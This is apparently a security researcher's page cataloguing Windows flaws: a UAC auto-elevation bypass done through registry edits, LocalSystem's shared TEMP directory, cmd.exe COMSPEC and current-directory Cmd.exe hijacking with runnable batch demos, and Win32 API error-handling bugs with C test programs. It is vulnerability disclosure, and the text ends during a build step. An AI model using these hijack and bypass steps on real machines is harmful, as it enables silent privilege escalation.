User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).
![[Screen shot of default 'User Account Control Settings' from Windows 7]](https://support.microsoft.com/library/images/2692682.png "Screen shot of default 'User Account Control Settings' from Windows 7")
![[Screen shot of default 'User Account Control Settings' from Windows 7]](https://docs.microsoft.com/en-us/windows/win32/uxguide/images/winenv-uac-image3.png "Screen shot of default 'User Account Control Settings' from Windows 7")
Windows Vista® introduced the
security feature(really: security theatre) User Account Control: programs which want to be run with administrative privileges and access rights need to ask the user for consent.
This made some (really: a minority of) users quite angry: although
these (rather braindead) users continued to abuse
the (privileged) protected
administrator account created
during Windows Setup for their daily work (instead to
follow best practise
and use an unprivileged limited
alias standard
user account), they had to answer a prompt
whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened
the security feature
: Windows 7 introduced
auto-elevation
and enabled it for some 55 programs shipped
with Windows 7 and later versions, which don’t
prompt for consent any more.
Due to flaws in the design and deficiencies in the implementation of
User Account Control, it can be bypassed trivially in
numerous ways with its auto-elevation
(mis)feature enabled.
As result, arbitrary programs can then be run with administrative
privileges and access rights without prompting the user for consent.
To defeat these trivial bypasses, auto-elevation
must be
disabled by moving the slider of the
User Account Control setting to its highest position
titled Always notify
, as documented and shown in the
MSKB
articles
975787
and
4462938.
The slider position shown by the graphical user interface but does
not always match the effective setting: it shows
Always notify
even if the default setting
Notify me only when programs try to make changes to my computer
is configured!
![[Screen shot of 'Group Policy Object Editor' from Windows 7]](https://msdnshared.blob.core.windows.net/media/TNBlogsFS/BlogFileStorage/blogs_msdn/jamesfi/WindowsLiveWriter/ThebestwaytomakeUACshutupforawhile_11F33/image.png "[Screen shot of 'Group Policy Object Editor' from Windows 7]")
On default installations of Windows 7 or newer
versions of Windows NT perform the following 9 simple
steps.
Log on to the
user protected
administrator account
created during Windows Setup.
Start one of the programs which have auto-elevation
enabled,
for example
NetPlWiz.exe,
PrintUI.exe or
WUSA.exe:
they start without to prompt for consent.
Open Control Panel, then User Accounts and
click Change User Account Control setting
: move the slider to
its highest position titled Always notify
and click the
button to apply the changed setting.
Run the command line
"%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc"
to start the
Local Group Policy Editor snap-in of
the Microsoft Management Console, or
run the command line
"%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc"
to start the Local Security Policy
snap-in, answer the prompt for consent, then open the
Local Policies
folder and the Security Options
subfolder below it: the policy
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
is shown as Prompt for consent on the secure desktop
,
properly matching the setting changed in step 3.
Repeat step 2.: the auto-elevating programs prompt for consent now.
Start RegEdit.exe, answer the
prompt for consent, then open the registry key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
and delete the DWORD registry entry
ConsentPromptBehaviorAdmin present there.
Repeat step 4.: the policy
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
is now properly shown as Not Defined
.
Open Control Panel, then User Accounts
and click Change User Account Control setting
: the slider
is still shown in its highest position Always notify
.
Repeat step 2.: despite the unchanged slider
position Always notify
the auto-elevating programs
don’t prompt for consent any more!
setting, but abuses a registry entry reserved for a
policyinstead, it misinterprets the default policy value
Not Definedand violates the now 25 year old Designed for Windows guidelines!
[HKEY_CURRENT_USER\Software\‹company name›\‹program name›]
"‹setting›"=…[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹program name›]
"‹setting›"=…[HKEY_CURRENT_USER\Software\Policies\‹company name›\‹program name›]
"‹policy›"=…[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
"‹policy›"=…[HKEY_LOCAL_MACHINE\SOFTWARE\‹company name›\‹program name›]
"‹setting›"=…[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹program name›]
"‹setting›"=…[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company name›\‹program name›]
"‹policy›"=…[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
"‹policy›"=…Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).By default, a child process inherits the environment variables of its parent process. […]
[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]
Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.Both articles but fail to tell that two kinds of user environment variables exist, permanent and volatile, that volatile environment variables obscure permanent environment variables with the same name, how to add or modify them, and where they are stored: permanent user environment variables are stored in the registry keyBy default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]
HKEY_CURRENT_USER\Environment alias
HKEY_USERS\‹security identifier›\Environment,
while volatile user environment variables are stored in the
(volatile) registry key
HKEY_CURRENT_USER\Volatile Environment alias
HKEY_USERS\‹security identifier›\Volatile Environment,
where they are created during user logon and discarded when the user
logs off.
The articles also fail to tell that not all system environment
variables are stored in the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment:
the system environment variables ALLUSERSPROFILE,
COMPUTERNAME, PUBLIC,
CommonProgramFiles,
CommonProgramFiles(x86),
CommonProgramW6432,
ProgramData, ProgramFiles,
ProgramFiles(x86), ProgramW6432,
SystemDrive and SystemRoot are created
programmatically.
And they fail to tell that user environment variables obscure system environment variables of the same name – with but two notable exceptions:
Path are assigned to the process᾿
environment variable Path during user logon;
NT AUTHORITY\SYSTEM alias
LocalSystem
get the system environment variables TEMP and
TMP instead of the respective user environment
variables!
Thanks
to the braindead (mis)behaviour
listed last, privileged processes running under the user account
NT AUTHORITY\SYSTEM alias
LocalSystem
use the unsafe user-writable directory
%SystemRoot%\Temp\ instead of their private and
safe directory
%USERPROFILE%\AppData\Local\Temp\ alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\,
allowing unprivileged users to tamper with (executable) files
created there by these privileged processes, eventually resulting in
local escalation of privilege.
Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.
%SystemRoot%\Profiles\%USERNAME%\
into new directories
%SystemDrive%\Documents and Settings\%USERNAME%\.
NT AUTHORITY\SYSTEM alias
LocalSystem
in the new directory
%SystemRoot%\System32\Config\SystemProfile\.
Note: its location was a rather braindead
choice, as it is subject to
file system redirection
on 64-bit editions of Windows NT, where two separate
directories
%SystemRoot%\System32\Config\SystemProfile\ and
%SystemRoot%\SysWoW64\Config\SystemProfile\ exist!
The world-writable Temp
directory
%SystemRoot%\Temp\, shared by all users in previous
versions of Windows NT, was replaced with separate
private Temp
directories
%USERPROFILE%\Local Settings\Temp\ alias
%SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\
located within the user profiles – except for
the
LocalSystem
user account, which continued (and still continues) to use the
(still world-writable) directory %SystemRoot%\Temp\!
Windows XP added the (unprivileged) user accounts
NT AUTHORITY\LOCAL SERVICE alias
LocalService
and NT AUTHORITY\NETWORK SERVICE alias
NetworkService,
placed their user profiles in the directories
%SystemDrive%\Documents and Settings\LocalService\ and
%SystemDrive%\Documents and Settings\NetworkService\,
set their user environment variables TEMP and
TMP to %USERPROFILE%\Local Settings\Temp,
and created a private Temp
directory within both user
profiles.
Windows Vista relocated these two service profiles to
the new directories
%SystemRoot%\ServiceProfiles\LocalService\ and
%SystemRoot%\ServiceProfiles\NetworkService\, relocated
all normal user profiles
%SystemDrive%\Documents and Settings\%USERNAME%\ to
the directories %SystemDrive%\Users\%USERNAME%\, and
kept the profile
%SystemRoot%\System32\Config\SystemProfile\.
All user accounts except
LocalSystem
kept their private Temp
directory, now
%USERPROFILE%\AppData\Local\Temp\ alias
%SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for
the normal user accounts and
%SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\
respectively
%SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\
for the service user accounts.
At least since Windows 7 the user environment variables
TEMP and TMP are set in the
LocalSystem
user account too, despite the directory
%USERPROFILE%\AppData\Local\Temp\ alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
is missing in its user profile!
The MSDN article Profiles Directory provides additional information.
Create the text file quirk2.vbs with the following
content in an arbitrary directory:
' Copyright © 1999-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
Option Explicit
With WScript.CreateObject("WScript.Shell")
WScript.Echo "Environment Variables"
Dim strScope
For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
WScript.Echo
WScript.Echo "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
Dim strItem
For Each strItem In .Environment(strScope)
WScript.Echo vbTab & strItem
Next
Next
End With Execute the
VBScript
quirk2.vbs created in step 1. under the
LocalSystem
user account to list the environment variables of all scopes:
CSCRIPT.EXE quirk2.vbs
Microsoft (R) Windows Script Host, Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Environment Variables Scope 'PROCESS': 36 items =C:=C:\Windows\System32 =ExitCode=00000000 ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Windows\system32 LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERDOMAIN=KANTHAK USERNAME=System USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows Scope 'SYSTEM': 15 items ComSpec=%SystemRoot%\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData OS=Windows_NT Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\ TEMP=%SystemRoot%\TEMP TMP=%SystemRoot%\TEMP USERNAME=SYSTEM windir=%SystemRoot% NUMBER_OF_PROCESSORS=2 PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a Scope 'USER': 3 items PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps; TEMP=%USERPROFILE%\AppData\Local\Temp TMP=%USERPROFILE%\AppData\Local\Temp Scope 'VOLATILE': 0 itemsOops: although the user environment variables
TEMP and TMP exist, the process
environment variables TEMP and TMP were
set from the system environment variables!
Start the Command Processor under the
LocalSystem
user account, then list all environment variables and (the contents
of) the directory %LOCALAPPDATA%\ alias
%USERPROFILE%\AppData\Local\ alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\
to determine whether a subdirectory Temp\ exists there:
SET DIR "%LOCALAPPDATA%" /A
ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Windows\system32 LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Windows\TEMP TMP=C:\Windows\TEMP USERDOMAIN=KANTHAK USERNAME=System USERPROFILE=C:\Windows\system32\config\systemprofile windir=C:\Windows Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Windows\system32\config\systemprofile\AppData\Local 04/27/2021 8:15 PM <DIR> . 04/27/2021 8:15 PM <DIR> .. 04/27/2021 8:15 PM <DIR> Microsoft 0 File(s) 0 bytes 3 Dir(s) 987,654,321 bytes freeOops: a subdirectory
Temp\ does not
exist!
Query the registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment,
HKEY_USERS\S-1-5-18\Environment and
HKEY_USERS\S-1-5-18\Volatile Environment to list the
environment variables stored in the registry:
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment" REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"Note: the MSKB article 243300 gives the well-known SID
S-1-5-18 for the
NT AUTHORITY\SYSTEM alias
LocalSystem
user account.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
ComSpec REG_EXPAND_SZ %SystemRoot%\system32\cmd.exe
DriverData REG_SZ C:\Windows\System32\Drivers\DriverData
NUMBER_OF_PROCESSORS REG_SZ 2
OS REG_SZ Windows_NT
Path REG_EXPAND_SZ %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
PATHEXT REG_SZ .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE REG_SZ AMD64
PROCESSOR_IDENTIFIER REG_SZ Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
PROCESSOR_LEVEL REG_SZ 6
PROCESSOR_REVISION REG_SZ 170a
PSModulePath REG_EXPAND_SZ %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
TEMP REG_EXPAND_SZ %SystemRoot%\TEMP
TMP REG_EXPAND_SZ %SystemRoot%\TEMP
USERNAME REG_SZ SYSTEM
windir REG_EXPAND_SZ %SystemRoot%
HKEY_USERS\S-1-5-18\Environment
Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp
TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp
ERROR: The specified registry key or value was not found.
For comparision query the registry keys
HKEY_CURRENT_USER\Environment and
HKEY_CURRENT_USER\Volatile Environment of a standard
user account:
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
HKEY_CURRENT_USER\Environment
Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp
TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp
HKEY_CURRENT_USER\Volatile Environment
LOGONSERVER REG_SZ \\AMNESIAC
USERDOMAIN REG_SZ AMNESIAC
USERNAME REG_SZ Stefan
USERPROFILE REG_SZ C:\Users\Stefan
HOMEPATH REG_SZ \Users\Stefan
HOMEDRIVE REG_SZ C:
APPDATA REG_SZ C:\Users\Stefan\AppData\Roaming
LOCALAPPDATA REG_SZ C:\Users\Stefan\AppData\Local
USERDOMAIN_ROAMINGPROFILE REG_SZ AMNESIAC
HKEY_CURRENT_USER\Volatile Environment\1
SESSIONNAME REG_SZ Console
CLIENTNAME REG_SZ
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\,
then start the program
SystemPropertiesAdvanced.exe,
click the button ,
replace the value %SystemRoot%\TEMP of the system
environment variables TEMP and TMP with
%USERPROFILE%\AppData\Local\Temp, save the changed
settings and reboot the system.
Note: a proper implementation calls functions like
GetSystemDirectory(),
GetSystemWow64Directory(),
GetWindowsDirectory(),
SHGetFolderPath()
and
SHGetKnownFolderPath()
to determine (system) paths instead to evaluate (user-controlled)
environment variables!
Write.exe,
RegEdit.exe,
NotePad.exe,
Explorer.exe as well as
IExplore.exe and
WordPad.exe
afterwards:
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
CHDIR /D "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B
Write.exe
RegEdit.exe /M
NotePad.exe /P Win.ini
Explorer.exe /E,/Separate,.
START IExplore.exe
START WordPad.exe
Note: the command lines can be copied and pasted as
block into a Command Processor window!
![[Screen shot of error message from 'WordPad' on Windows 7]](download/QUIRK3.PNG "[Screen shot of error message from 'WordPad' on Windows 7]")
explorer.exe notepad.exe regedit.exe write.exe win.ini…
For
command of the Command Processor
states:
The documentation for the builtin
- Parsing output
You can use the for /f command to parse the output of a command by making a back-quoted string from the Set between the parentheses. It is treated as a command line, which is passed to a child Cmd.exe. The output is captured into memory and parsed as if it is a file.
Start
command of the Command Processor
states:
- When you run a command that contains the string "CMD" as the first token without an extension or path qualifier, "CMD" is replaced with the value of the COMSPEC variable. This prevents users from picking up cmd from the current directory.
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
CHDIR /D "%USERPROFILE%"
PUSHD "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
START /B CMD /C SET
SET COMSPEC=%CD%\System32\Reg.exe
POPD
COPY NUL: Cmd.exe
FOR /F "Delims=" %? IN ('PAUSE') DO ECHO %?
FOR /F "Delims= UseBackQ" %? IN (`PAUSE`) DO ECHO %?
START CMD /C PAUSE
START /B ECHO
ASSOC | BREAK
FTYPE | SHIFT
SET | Cmd.exe
ERASE Cmd.exe
Note: the command lines can be copied and pasted as
block into a Command Processor window!
COMSPEC=C:\Windows\System32\cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
PROMPT=$P$G
1 file(s) copied.
Press any key . . .
Access Denied
Access Denied
ERROR: Invalid Argument/Option - '/c'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/K'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
ERROR: Invalid Argument/Option - '/S'.
Type "REG /?" for usage.
Access Denied
OUCH¹: contrary to its documentation cited
above, FOR /F … IN ('…') DO … as
well as
FOR /F "UseBackQ" … IN (`…`) DO …
executes the application determined by the value of the environment
variable COMSPEC (else the current process’
image) instead of Cmd.exe as child process.
OUCH²: contrary to its documentation cited
above, START CMD … does not evaluate the
environment variable COMSPEC, but executes an arbitrary
Cmd.exe that eventually exists in the
CWD, else the
current process᾿ image!
OUCH³: when run in a pipeline, builtin
commands are executed in a child process determined by the value of
the environment variable COMSPEC.
Note: the
Command Processor sets the environment
variables COMSPEC, PATHEXT and
PROMPT if these are not provided by its caller.
COMSPEC is
a well-known weakness, documented as
CWE-73: External Control of File Name or Path
in the
CWE™,
allowing well-known attacks like
CAPEC-13: Subverting Environment Variable Values
documented in the
CAPEC™.
The (unintended) execution of (a rogue) Cmd.exe from
the CWD
constitutes a security vulnerability, similar to
CVE-2014-0315
alias
MS14-019
I discovered about 6 years ago, which was fixed with security update
2922229
back then.
Note: the post MS14-019 – Fixing a binary hijacking via .cmd or .bat file on Microsoft’s Security Research and Defense Blog provides additional information.
The well-known underlying weakness is documented as CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element, the well-known attack is documented as CAPEC-471: Search Order Hijacking.
They replied with the following statements:
The engineering team has looked over the issue and has stated that this appears to be a documentation error and has been handed over to the team owning that site. In this case this does not appear to be a vulnerability and we will be closing it out on our side. The method of using this information in an attack would require a remote attacker to find malicious program that uses theOUCH: it appears to me that the engineering team is wrong; I recommend to have them read (and understand) especially the (end of the) chapter titledSTART cmdand trick the user to trigger this program as a minimum.
Current Working Directory (CWD) DLL plantingof the blog post Triaging a DLL planting vulnerability and recognise the similarity:
A DLL planting issue that falls into this category of CWD DLL planting is treated as an Important severity issue and we will issue a security patch for this.
Call
command of the Command Processor
states:
Calls one batch program from another without stopping the parent batch program. The call command accepts labels as the target of the call.Note
Call has no effect at the command prompt when it is used outside of a script or batch file.
REM Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de> CALL Reg(Dummy CALL Reg,Dummy CALL Reg;Dummy CALL Reg=Dummy FOR %? IN (First,Second;Third=Fourth) DO @ECHO %?Note: the command lines can be copied and pasted as block into a Command Processor window!
ERROR: Invalid Argument/Option - '(Dummy'. Type "REG /?" for usage. ERROR: Invalid Argument/Option - ',Dummy'. Type "REG /?" for usage. ERROR: Invalid Argument/Option - ';Dummy'. Type "REG /?" for usage. ERROR: Invalid Argument/Option - '=Dummy'. Type "REG /?" for usage. First Second Third FourthOUCH¹: the Command Processor mistreats valid filenames containing an opening parenthesis '
(', a comma ',', a semicolon
';' or an equals sign '=', and interprets
these characters as separator!
OUCH²: contrary to its documentation cited
above, CALL does not just call batch scripts and has
effect at the command prompt.
OUCH³: in builtin commands, the
Command Processor mistreats comma,
semicolon and equals sign almost always as delimiter or separator,
and sometimes like white space
.
GetDllDirectory()
is documented in the
MSDN as
follows:
Note: designed and implemented properly, this function would return the value of[…]DWORD GetDllDirectory( DWORD nBufferLength, LPTSTR lpBuffer );If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
nBufferLength for
failure, supporting successful retrieval of empty strings!
In addition to the quirk bug demonstrated
below, the documentation fails to tell that lpBuffer
can be 0 alias NULL if nBufferLength is 0.
Create the text file quirk6.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwCount;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBuffer = GetDllDirectory(0, szBuffer);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetDllDirectory(0, 0x%p) returned error %lu\n",
szBuffer, dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetDllDirectory(0, 0x%p) returned buffer size %lu\n",
szBuffer, dwBuffer);
SetLastError('FAIL');
dwCount = GetDllDirectory(dwBuffer, szBuffer);
if (dwCount == 0)
PrintConsole(hConsole,
L"GetDllDirectory(%lu, 0x%p) returned error %lu\n",
dwBuffer, szBuffer, dwError = GetLastError());
}
}
ExitProcess(dwError);
} Build the console application quirk6.exe from the
source file quirk6.c created in step 1.:
SET CL=/GAFy /W4 /Zl SET LINK=/DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE CL.EXE quirk6.cFor details and reference see the MSDN articles Compiler Options and Linker Options. Compiler Options Listed Alphabetically Compiler Options Listed by Category
Note: if necessary, see the
MSDN article
Use the Microsoft C++ toolset from the command line
for an introduction.
Note: quirk6.exe is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk6.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE /out:quirk6.exe quirk6.obj
Execute the console application quirk6.exe built in
step 2. to demonstrate the (mis)behaviour:
.\quirk6.exe SET /A 0x4641494C
GetDllDirectory(0, 0x003EF948) returned buffer size 1 GetDllDirectory(1, 0x003EF948) returned error 1178683724 1178683724OUCH: when no application-specific DLL search path is set, the Win32 function
GetDllDirectory()
returns 0, but fails to (re)set the Win32 error 0 alias
ERROR_SUCCESS
to indicate no error!
GetEnvironmentVariable()
is documented in the
MSDN as
follows:
Note: designed and implemented properly, this function would return the value of[…]DWORD GetEnvironmentVariable( LPCTSTR lpName, LPTSTR lpBuffer, DWORD nSize );
nSizeThe size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. […]
If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.
nSize for failure,
supporting successful retrieval of empty environment variables!
In addition to the quirk bug demonstrated
below, the documentation fails to tell that lpBuffer
can be 0 alias NULL if nSize is 0.
It also exhibits a very common mistake that is
present in many other
MSDN
articles too: there is no null-terminating character
, but a
(string-)terminating
!
NUL character
Create the text file quirk7.c with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2021, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL PrintConsole(HANDLE hConsole, LPCWSTR lpFormat, ...)
{
WCHAR szBuffer[1025];
DWORD dwBuffer;
DWORD dwConsole;
va_list vaInserts;
va_start(vaInserts, lpFormat);
dwBuffer = wvsprintf(szBuffer, lpFormat, vaInserts);
va_end(vaInserts);
if (dwBuffer == 0)
return FALSE;
if (!WriteConsole(hConsole, szBuffer, dwBuffer, &dwConsole, NULL))
return FALSE;
return dwConsole == dwBuffer;
}
__declspec(noreturn)
VOID WINAPI wmainCRTStartup(VOID)
{
WCHAR szBuffer[MAX_PATH];
DWORD dwBuffer;
DWORD dwCount;
DWORD dwError = ERROR_SUCCESS;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if (!SetEnvironmentVariable(L"EMPTY", L""))
PrintConsole(hConsole,
L"SetEnvironmentVariable(\"EMPTY\", \"\") returned error %lu\n",
dwError = GetLastError());
else
{
dwBuffer = GetEnvironmentVariable(L"EMPTY", szBuffer, 0);
if (dwBuffer == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned error %lu\n",
szBuffer, dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"EMPTY\", 0x%p, 0) returned buffer size %lu\n",
szBuffer, dwBuffer);
SetLastError('FAIL');
dwCount = GetEnvironmentVariable(L"EMPTY", szBuffer, dwBuffer);
if (dwCount == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"EMPTY\", 0x%p, %lu) returned error %lu\n",
szBuffer, dwBuffer, dwError = GetLastError());
}
}
}
ExitProcess(dwError);
} Build the console application quirk7.exe from the
source file quirk7.c created in step 1.:
